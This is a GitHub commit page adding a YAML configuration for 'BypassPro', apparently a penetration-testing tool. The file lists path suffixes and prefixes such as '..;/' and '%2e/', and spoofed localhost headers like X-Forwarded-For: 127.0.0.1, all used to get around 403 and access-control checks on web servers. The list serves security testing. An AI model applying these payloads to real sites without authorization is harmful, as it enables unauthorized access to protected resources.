Skip to content

Commit 34a1d23

Browse files
authored
Merge pull request #8 from 0cat-r/main
update
2 parents 9c670cb + 3e5a631 commit 34a1d23

5 files changed

Lines changed: 167 additions & 335 deletions

File tree

BypassPro-config.yaml

Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
suffix:
2+
- ".js"
3+
- ".css"
4+
- ".json"
5+
- ".html"
6+
- ";.css"
7+
- ";.js"
8+
- "/."
9+
- "/"
10+
- "/./"
11+
- "%20"
12+
- "%09"
13+
- "?"
14+
- "?error"
15+
- "#"
16+
- "/*"
17+
- "%26"
18+
- "/images/..;"
19+
- "/public/..;"
20+
- ";/"
21+
22+
headers:
23+
-
24+
X-Custom-IP-Authorization: 127.0.0.1
25+
X-Forwarded-For: 127.0.0.1
26+
X-Client-IP: 127.0.0.1
27+
X-Remote-Addr: 127.0.0.1
28+
X-Originating-IP: 127.0.0.1
29+
Referer: http://127.0.0.1
30+
31+
# - X-Original-URL: {{Baseurl}}
32+
- X-Forwarded-For: 127.0.0.1:80
33+
- X-Forwarded-For: http://127.0.0.1
34+
- X-Host: 127.0.0.1
35+
# http/1.0 无头协议绕过
36+
- HTTP-Version: HTTP/1.0
37+
38+
prefix:
39+
- "/"
40+
- ";/"
41+
- "..;/"
42+
- "images;/../"
43+
- "images/..;/"
44+
- "public/..;/"
45+
- "%2e/"
46+
- ";/"
47+
- "./"
48+
- "%20/"
49+
- "%09/"
50+
- ".;/"
51+
- "..%00/"
52+
- "..%0d/"
53+
- "..%5c/"
54+
- "#/../"

0 commit comments

Comments
 (0)